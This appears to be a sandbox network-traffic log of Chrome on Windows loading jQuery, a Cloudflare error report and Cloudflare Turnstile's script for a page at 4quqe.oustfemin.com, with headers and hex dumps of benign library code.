2024-08-23 14:21:36 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vplnszOuPT%2FPx7wHgAfO4tmIuvJa0nUxNdfignWf%2FflajUu8U0eu5wPxoYhspo1FoW%2BR9e43f3%2FWEg%2BAeYoO8kfSbxg9O1DcNbxXLyTU%2Baopp3zLTQA7JfWBw1DB78GR%2FXHb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b7bbffc1ef64405-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:36 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-08-23 14:21:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49751	151.101.130.137	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	625	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2438452 Date: Fri, 23 Aug 2024 14:21:35 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890074-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1724422896.980391,VS0,VE1 Vary: Accept-Encoding
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-08-23 14:21:36 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49755	35.190.80.1	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:36 UTC	482	OUT	POST /report/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 435 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	435	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 38 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 34 71 75 71 65 2e 6f 75 73 74 66 65 6d 69 6e 2e 63 6f 6d 2f 72 71 4d 42 79 74 61 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":0,"body":{"elapsed_time":683,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://4quqe.oustfemin.com/rqMByta/","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":404,"type":"http.error"},"type":"network-err
2024-08-23 14:21:36 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 23 Aug 2024 14:21:36 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49756	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:36 UTC	650	OUT	GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Thu, 15 Aug 2024 16:28:23 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8b7bc00009f84258-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:36 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var 